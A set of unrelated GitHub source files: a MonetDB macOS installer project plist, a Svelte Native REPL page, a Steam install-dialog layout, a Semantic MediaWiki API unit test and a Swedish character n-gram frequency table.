<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Preferences</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Printers</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>PrivilegedHelperTools</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>QuickLook</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>QuickTime</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Screen Savers</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Scripts</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Services</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Widgets</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Library</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Extensions</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Library</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>System</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Shared</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>1023</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Users</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>usr</string>
<key>PATH_TYPE</key>
<integer>1</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>3</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>/</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<key>PAYLOAD_TYPE</key>
<integer>0</integer>
<key>VERSION</key>
<integer>3</integer>
</dict>
<key>PACKAGE_SCRIPTS</key>
<dict>
<key>POSTINSTALL_PATH</key>
<dict>
<key>PATH</key>
<string>post-install.sh</string>
<key>PATH_TYPE</key>
<integer>1</integer>
</dict>
<key>RESOURCES</key>
<array/>
</dict>
<key>PACKAGE_SETTINGS</key>
<dict>
<key>AUTHENTICATION</key>
<integer>1</integer>
<key>CONCLUSION_ACTION</key>
<integer>0</integer>
<key>IDENTIFIER</key>
<string>org.monetdb.pkg.monetdb</string>
<key>NAME</key>
<string>MonetDB</string>
<key>OVERWRITE_PERMISSIONS</key>
<false/>
<key>VERSION</key>
<string>1.0</string>
</dict>
<key>UUID</key>
<string>130C36B2-64F7-4D0A-8539-D89497F218C5</string>
</dict>
</array>
<key>PROJECT</key>
<dict>
<key>PROJECT_COMMENTS</key>
<dict>
<key>NOTES</key>
<data>
PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBIVE1M
IDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQv
c3RyaWN0LmR0ZCI+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1l
cXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7
IGNoYXJzZXQ9VVRGLTgiPgo8bWV0YSBodHRwLWVxdWl2PSJDb250
ZW50LVN0eWxlLVR5cGUiIGNvbnRlbnQ9InRleHQvY3NzIj4KPHRp
dGxlPjwvdGl0bGU+CjxtZXRhIG5hbWU9IkdlbmVyYXRvciIgY29u
dGVudD0iQ29jb2EgSFRNTCBXcml0ZXIiPgo8bWV0YSBuYW1lPSJD
b2NvYVZlcnNpb24iIGNvbnRlbnQ9IjEzNDguMTciPgo8c3R5bGUg
dHlwZT0idGV4dC9jc3MiPgo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5
Pgo8L2JvZHk+CjwvaHRtbD4K
</data>
</dict>
<key>PROJECT_PRESENTATION</key>
<dict>
<key>BACKGROUND</key>
<dict>
<key>ALIGNMENT</key>
<integer>6</integer>
<key>BACKGROUND_PATH</key>
<dict>
<key>PATH</key>
<string>MonetDB_logo.png</string>
<key>PATH_TYPE</key>
<integer>1</integer>
</dict>
<key>CUSTOM</key>
<integer>1</integer>
<key>SCALING</key>
<integer>0</integer>
</dict>
<key>INSTALLATION TYPE</key>
<dict>
<key>HIERARCHIES</key>
<dict>
<key>INSTALLER</key>
<dict>
<key>LIST</key>
<array>
<dict>
<key>DESCRIPTION</key>
<array/>
<key>OPTIONS</key>
<dict>
<key>HIDDEN</key>
<true/>
<key>STATE</key>
<integer>1</integer>
</dict>
<key>PACKAGE_UUID</key>
<string>130C36B2-64F7-4D0A-8539-D89497F218C5</string>
<key>REQUIREMENTS</key>
<array>
<dict>
<key>BEHAVIOR</key>
<integer>1</integer>
<key>DICTIONARY</key>
<dict>
<key>IC_REQUIREMENT_CPU_ARCHITECTURE_FAMILY</key>
<integer>2</integer>
<key>IC_REQUIREMENT_CPU_INTEL_ARCHITECTURE_TYPE</key>
<integer>2</integer>
<key>IC_REQUIREMENT_CPU_MINIMUM_CPU_CORES_COUNT</key>
<integer>1</integer>
<key>IC_REQUIREMENT_CPU_MINIMUM_FREQUENCY</key>
<integer>866666</integer>
<key>IC_REQUIREMENT_CPU_POWERPC_ARCHITECTURE_TYPE</key>
<integer>0</integer>
</dict>
<key>IDENTIFIER</key>
<string>fr.whitebox.Packages.requirement.cpu</string>
<key>MESSAGE</key>
<array/>
<key>NAME</key>
<string>Processor</string>
<key>STATE</key>
<true/>
</dict>
</array>
<key>TITLE</key>
<array/>
<key>TOOLTIP</key>
<array/>
<key>TYPE</key>
<integer>0</integer>
<key>UUID</key>
<string>4EEDBC33-0ECF-4317-AD72-D3DFE50DD72A</string>
</dict>
</array>
<key>REMOVED</key>
<dict/>
</dict>
</dict>
<key>INSTALLATION TYPE</key>
<integer>0</integer>
<key>MODE</key>
<integer>1</integer>
</dict>
<key>INSTALLATION_STEPS</key>
<array>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewIntroductionController</string>
<key>INSTALLER_PLUGIN</key>
<string>Introduction</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewReadMeController</string>
<key>INSTALLER_PLUGIN</key>
<string>ReadMe</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewLicenseController</string>
<key>INSTALLER_PLUGIN</key>
<string>License</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewDestinationSelectController</string>
<key>INSTALLER_PLUGIN</key>
<string>TargetSelect</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewInstallationTypeController</string>
<key>INSTALLER_PLUGIN</key>
<string>PackageSelection</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewInstallationController</string>
<key>INSTALLER_PLUGIN</key>
<string>Install</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewSummaryController</string>
<key>INSTALLER_PLUGIN</key>
<string>Summary</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
</array>
<key>INTRODUCTION</key>
<dict>
<key>LOCALIZATIONS</key>
<array/>
</dict>
<key>LICENSE</key>
<dict>
<key>KEYWORDS</key>
<dict/>
<key>LOCALIZATIONS</key>
<array>
<dict>
<key>LANGUAGE</key>
<string>English</string>
<key>VALUE</key>
<dict>
<key>PATH</key>
<string>../license.txt</string>
<key>PATH_TYPE</key>
<integer>1</integer>
</dict>
</dict>
</array>
<key>MODE</key>
<integer>0</integer>
</dict>
<key>README</key>
<dict>
<key>LOCALIZATIONS</key>
<array>
<dict>
<key>LANGUAGE</key>
<string>English</string>
<key>VALUE</key>
<dict>
<key>PATH</key>
<string>readme.rtf</string>
<key>PATH_TYPE</key>
<integer>1</integer>
</dict>
</dict>
</array>
</dict>
<key>SUMMARY</key>
<dict>
<key>LOCALIZATIONS</key>
<array>
<dict>
<key>LANGUAGE</key>
<string>English</string>
<key>VALUE</key>
<dict>
<key>PATH</key>
<string>summary.rtf</string>
<key>PATH_TYPE</key>
<integer>1</integer>
</dict>
</dict>
</array>
</dict>
<key>TITLE</key>
<dict>
<key>LOCALIZATIONS</key>
<array>
<dict>
<key>LANGUAGE</key>
<string>English</string>
<key>VALUE</key>
<string>MonetDB</string>
</dict>
</array>
</dict>
</dict>
<key>PROJECT_REQUIREMENTS</key>
<dict>
<key>LIST</key>
<array>
<dict>
<key>BEHAVIOR</key>
<integer>3</integer>
<key>DICTIONARY</key>
<dict>
<key>IC_REQUIREMENT_CPU_ARCHITECTURE_FAMILY</key>
<integer>2</integer>
<key>IC_REQUIREMENT_CPU_INTEL_ARCHITECTURE_TYPE</key>
<integer>2</integer>
<key>IC_REQUIREMENT_CPU_MINIMUM_CPU_CORES_COUNT</key>
<integer>1</integer>
<key>IC_REQUIREMENT_CPU_MINIMUM_FREQUENCY</key>
<integer>866666</integer>
<key>IC_REQUIREMENT_CPU_POWERPC_ARCHITECTURE_TYPE</key>
<integer>0</integer>
</dict>
<key>IC_REQUIREMENT_CHECK_TYPE</key>
<integer>0</integer>
<key>IDENTIFIER</key>
<string>fr.whitebox.Packages.requirement.cpu</string>
<key>MESSAGE</key>
<array>
<dict>
<key>LANGUAGE</key>
<string>English</string>
<key>SECONDARY_VALUE</key>
<string></string>
<key>VALUE</key>
<string>MonetDB requires an 64-bit Intel processor Mac.</string>
</dict>
</array>
<key>NAME</key>
<string>Processor</string>
<key>STATE</key>
<true/>
</dict>
</array>
<key>POSTINSTALL_PATH</key>
<dict/>
<key>PREINSTALL_PATH</key>
<dict/>
<key>RESOURCES</key>
<array/>
<key>ROOT_VOLUME_ONLY</key>
<true/>
</dict>
<key>PROJECT_SETTINGS</key>
<dict>
<key>ADVANCED_OPTIONS</key>
<dict/>
<key>BUILD_FORMAT</key>
<integer>0</integer>
<key>BUILD_PATH</key>
<dict>
<key>PATH</key>
<string>build</string>
<key>PATH_TYPE</key>
<integer>1</integer>
</dict>
<key>EXCLUDED_FILES</key>
<array>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.DS_Store</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Remove .DS_Store files</string>
<key>PROXY_TOOLTIP</key>
<string>Remove ".DS_Store" files created by the Finder.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.pbdevelopment</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Remove .pbdevelopment files</string>
<key>PROXY_TOOLTIP</key>
<string>Remove ".pbdevelopment" files created by ProjectBuilder or Xcode.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>CVS</string>
<key>TYPE</key>
<integer>1</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.cvsignore</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.cvspass</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.svn</string>
<key>TYPE</key>
<integer>1</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.git</string>
<key>TYPE</key>
<integer>1</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.gitignore</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Remove SCM metadata</string>
<key>PROXY_TOOLTIP</key>
<string>Remove helper files and folders used by the CVS, SVN or Git Source Code Management systems.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>classes.nib</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>designable.db</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>info.nib</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Optimize nib files</string>
<key>PROXY_TOOLTIP</key>
<string>Remove "classes.nib", "info.nib" and "designable.nib" files within .nib bundles.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>Resources Disabled</string>
<key>TYPE</key>
<integer>1</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Remove Resources Disabled folders</string>
<key>PROXY_TOOLTIP</key>
<string>Remove "Resources Disabled" folders.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>SEPARATOR</key>
<true/>
</dict>
</array>
<key>NAME</key>
<string>MonetDB-unsigned</string>
</dict>
</dict>
<key>TYPE</key>
<integer>0</integer>
<key>VERSION</key>
<integer>2</integer>
</dict>
</plist>
|
{
"pile_set_name": "Github"
}
|
<script context="module">
export function preload({ query }) {
return {
version: query.version || 'latest',
gist_id: query.gist,
example: query.example || 'hello-world'
};
}
</script>
<script>
import { onMount } from 'svelte';
import { process_example } from './_utils/process_example.js';
import AppControls from './_components/AppControls/index.svelte';
import Repl from '../../components/Repl/index.svelte';
export let version, example, gist_id;
console.log({ example });
let repl;
let gist;
let name = 'loading...';
let zen_mode = false;
let sync_in_progress = false;
$: if (typeof history !== 'undefined') {
const params = [];
if (version !== 'latest') params.push(`version=${version}`);
if (gist_id) params.push(`gist=${gist_id}`);
else if (example) params.push(`example=${example}`);
const url = params.length > 0
? `repl?${params.join('&')}`
: 'repl';
history.replaceState({}, 'x', url);
}
function handle_sync_state_change(e) {
sync_in_progress = e.detail.state;
}
onMount(() => {
if (version !== 'local') {
let svelteversion = Promise.resolve(version);
if (version == "latest") {
// get the latest supported svelte version
svelteversion = fetch('https://unpkg.com/svelte-native@latest/package.json')
.then(r => r.json())
.then(pkg => {
return pkg.peerDependencies.svelte;
});
}
svelteversion
.then(version => fetch(`https://unpkg.com/svelte@${version || 'beta'}/package.json`))
.then(r => r.json())
.then(pkg => {
version = pkg.version;
});
}
if (gist_id) {
fetch(`gist/${gist_id}`).then(r => r.json()).then(data => {
gist = data;
const { id, description, files } = data;
name = description;
const components = Object.keys(files)
.map(file => {
const dot = file.lastIndexOf('.');
if (!~dot) return;
const source = files[file].content;
let type = file.slice(dot + 1);
if (type === 'html') type = 'svelte';
return {
name: file.slice(0, dot),
type,
source
};
})
.filter(x => x.type === 'svelte' || x.type === 'js')
.sort((a, b) => {
if (a.name === 'App' && a.type === 'svelte') return -1;
if (b.name === 'App' && b.type === 'svelte') return 1;
if (a.type !== b.type) return a.type === 'svelte' ? -1 : 1;
return a.name < b.name ? -1 : 1;
});
repl.set({ components });
});
}
});
function load_example(slug) {
console.log(`loading ${slug}`);
fetch(`examples/${slug}.json`).then(async response => {
if (response.ok) {
const data = await response.json();
name = data.title;
const components = process_example(data.files);
repl.set({ components });
gist = null;
}
}).catch(() => "failed to load example");
}
function handle_fork(event) {
example = null;
gist = event.detail.gist;
gist_id = gist.id;
}
$: if (process.browser && example) {
load_example(example);
}
</script>
<style>
.repl-outer {
position: relative;
height: calc(100vh - var(--nav-h));
--app-controls-h: 5.6rem;
--pane-controls-h: 4.2rem;
overflow: hidden;
background-color: var(--back);
padding: var(--app-controls-h) 0 0 0;
box-sizing: border-box;
}
.zen-mode {
position: fixed;
width: 100%;
height: 100%;
top: 0;
z-index: 11;
}
.pane {
width: 100%;
height: 100%
}
.loading {
text-align: center;
color: var(--second);
font-weight: 400;
margin: 2em 0 0 0;
opacity: 0;
animation: fade-in .4s;
animation-delay: .2s;
animation-fill-mode: both;
}
@keyframes fade-in {
0% {
opacity: 0
}
100% {
opacity: 1
}
}
.input {
padding: 2.4em 0 0 0;
}
</style>
<svelte:head>
<title>{name} • REPL • Svelte Native</title>
</svelte:head>
<div class="repl-outer {zen_mode ? 'zen-mode' : ''}">
<AppControls {name} {gist} {repl} {sync_in_progress} bind:zen_mode on:forked={handle_fork} />
{#if process.browser}
<Repl bind:this={repl} {version} on:syncstatechange={handle_sync_state_change} />
{/if}
</div>
|
{
"pile_set_name": "Github"
}
|
"steam/cached/InstallSubChooseApps_SingleApp.res"
{
"InstallSubChooseApps"
{
"ControlName" "CInstallSubChooseApps"
"fieldName" "InstallSubChooseApps"
"xpos" "8"
"ypos" "48"
"wide" "388"
"tall" "300"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "1"
"paintbackground" "1"
"WizardWide" "0"
"WizardTall" "0"
}
"Label1"
{
"ControlName" "Label"
"fieldName" "Label1"
"xpos" "10"
"ypos" "24"
"wide" "340"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "#Steam_InstallGameInfo"
"textAlignment" "north-west"
"wrap" "1"
}
"CreateShortcutCheck"
{
"ControlName" "CheckButton"
"fieldName" "CreateShortcutCheck"
"xpos" "16"
"ypos" "60"
"wide" "390"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "#Steam_Install_CreateDesktopShortcut"
"textAlignment" "west"
"wrap" "0"
"Default" "0"
}
"CreateStartMenuShortcutCheck"
{
"ControlName" "CheckButton"
"fieldName" "CreateStartMenuShortcutCheck"
"xpos" "16"
"ypos" "84"
"wide" "390"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "#Steam_Install_CreateStartMenuShortcut"
"textAlignment" "west"
"wrap" "0"
"Default" "0"
}
"InstallSize"
{
"ControlName" "Label"
"fieldName" "InstallSize"
"xpos" "10"
"ypos" "128"
"wide" "186"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "#Steam_ScanCDKey_SpaceRequired"
"textAlignment" "west"
"wrap" "0"
}
"InstallSizeLabel"
{
"ControlName" "Label"
"fieldName" "InstallSizeLabel"
"xpos" "200"
"ypos" "128"
"wide" "80"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "42 MB"
"textAlignment" "west"
"wrap" "0"
}
"DriveSpace"
{
"ControlName" "Label"
"fieldName" "DriveSpace"
"xpos" "10"
"ypos" "152"
"wide" "186"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "#Steam_ScanCDKey_SpaceAvailable"
"textAlignment" "west"
"wrap" "0"
}
"DriveSpaceLabel"
{
"ControlName" "Label"
"fieldName" "DriveSpaceLabel"
"xpos" "200"
"ypos" "152"
"wide" "80"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "148805 MB"
"textAlignment" "west"
"wrap" "0"
}
"DownloadTimeLabel"
{
"ControlName" "Label"
"fieldName" "DownloadTimeLabel"
"xpos" "10"
"ypos" "176"
"wide" "189"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "#Steam_InstallDownloadTime"
"textAlignment" "west"
"wrap" "0"
}
"DownloadTimeInfo"
{
"ControlName" "Label"
"fieldName" "DownloadTimeInfo"
"xpos" "200"
"ypos" "176"
"wide" "200"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "#Steam_InstallDownloadTime_Info"
"textAlignment" "west"
"wrap" "0"
}
"InstallFolderLabel"
{
"ControlName" "Label"
"fieldName" "InstallFolderLabel"
"xpos" "10"
"ypos" "200"
"wide" "200"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"labelText" "#SteamUI_ChooseInstallFolder"
"textAlignment" "west"
"wrap" "0"
}
"InstallFolderCombo"
{
"ControlName" "ComboBox"
"fieldName" "InstallFolderCombo"
"xpos" "10"
"ypos" "232"
"wide" "432"
"tall" "24"
"AutoResize" "0"
"PinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"paintbackground" "1"
"textAlignment" "west"
"wrap" "0"
}
styles
{
Label
{
minimum-width=200
}
}
layout
{
place { control=Label1 x=16 y=16 margin-right=16 width=max }
place { start=Label1 y=16 control=CreateShortcutCheck,CreateStartMenuShortcutCheck width=max height=24 dir=down margin-right=200 }
place { start=CreateStartMenuShortcutCheck y=16 control=InstallSize height=24 dir=down end-right=InstallSizeLabel }
place { start=InstallSize control=InstallSizeLabel height=24 margin-right=16 }
place { start=InstallSize control=DriveSpace height=24 dir=down end-right=DriveSpaceLabel }
place { start=DriveSpace control=DriveSpaceLabel height=24 margin-right=16 }
place { start=DriveSpace control=DownloadTimeLabel height=24 dir=down end-right=DownloadTimeInfo }
place { start=DownloadTimeLabel control=DownloadTimeInfo height=24 margin-right=16 }
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace SMW\Tests\MediaWiki\Api;
use SMW\MediaWiki\Api\Ask;
use SMW\Tests\Utils\MwApiFactory;
/**
* @covers \SMW\MediaWiki\Api\Ask
* @group semantic-mediawiki
*
* @license GNU GPL v2+
* @since 1.9
*
* @author mwjames
*/
class AskTest extends \PHPUnit_Framework_TestCase {
private $apiFactory;
protected function setUp() {
parent::setUp();
$this->apiFactory = new MwApiFactory();
}
public function testCanConstruct() {
$instance = new Ask(
$this->apiFactory->newApiMain( array( 'query' => 'Foo' ) ),
'ask'
);
$this->assertInstanceOf(
'SMW\MediaWiki\Api\Ask',
$instance
);
}
/**
* @dataProvider sampleQueryProvider
*/
public function testExecute( array $query, array $expected ) {
$results = $this->apiFactory->doApiRequest( array(
'action' => 'ask',
'query' => implode( '|', $query )
) );
$this->assertInternalType( 'array', $results );
// If their is no printrequests array we expect an error array
if ( isset( $results['query']['printrequests'] ) ) {
return $this->assertEquals( $expected, $results['query']['printrequests'] );
}
$this->assertArrayHasKey( 'error', $results );
}
public function sampleQueryProvider() {
// #0 Standard query
$provider[] = array(
array(
'[[Modification date::+]]',
'?Modification date',
'limit=10'
),
array(
array(
'label'=> '',
'typeid' => '_wpg',
'mode' => 2,
'format' => false,
'key' => '',
'redi' => ''
),
array(
'label'=> 'Modification date',
'typeid' => '_dat',
'mode' => 1,
'format' => '',
'key' => '_MDAT',
'redi' => ''
)
)
);
$provider[] = array(
array(
'[[Modification date::+!]]',
'limit=3'
),
array(
array(
'error'=> 'foo',
)
)
);
return $provider;
}
}
|
{
"pile_set_name": "Github"
}
|
_ 33494
e 8992
n 7900
t 7859
a 7781
r 7251
s 6435
i 5649
l 4541
d 4079
o 3724
m 3203
k 3058
g 2478
en 2403
n_ 2389
t_ 2073
de 1939
r_ 1910
v 1890
h 1789
u 1782
_s 1768
ä 1724
er 1709
f 1597
en_ 1537
a_ 1526
an 1357
p 1320
et 1317
ö 1278
å 1261
st 1236
ar 1226
c 1191
_d 1158
e_ 1116
in 1045
_f 1027
te 1000
b 997
_a 978
s_ 974
ra 958
. 956
tt 935
_i 898
_m 890
._ 886
ll 870
ta 844
_o 842
_e 839
nd 820
ti 804
sk 798
re 779
at 769
_de 754
om 743
m_ 739
ör 720
, 697
,_ 695
ng 686
li 673
ka 666
oc 662
_h 654
on 652
et_ 647
ch 645
ns 643
is 642
er_ 630
är 625
_v 614
_t 614
ni 611
i_ 609
_oc 592
tt_ 587
na 586
y 586
la 579
_b 579
h_ 577
kt 575
ch_ 568
ig 564
fö 563
och 555
or 555
_och 554
och_ 554
_och_ 553
me 548
den 548
om_ 535
_i_ 531
d_ 530
j 529
ik 520
de_ 520
för 518
ge 498
ad 497
_k 491
_fö 487
ri 484
el 482
il 481
so 480
al 474
g_ 469
le 464
an_ 461
_för 447
si 437
ar_ 437
att 435
_p 434
es 420
ing 413
se 407
to 404
_u 403
_en 403
and 398
den_ 395
nde 393
nn 393
_l 391
å_ 391
D 385
än 383
nt 382
l_ 381
tr 378
_D 372
va 370
am 369
sa 367
_so 365
ga 364
_en_ 361
är_ 358
ck 357
av 354
v_ 351
ed 347
ma 346
da 346
som 346
rs 344
som_ 344
ve 342
ter 341
att_ 341
ha 338
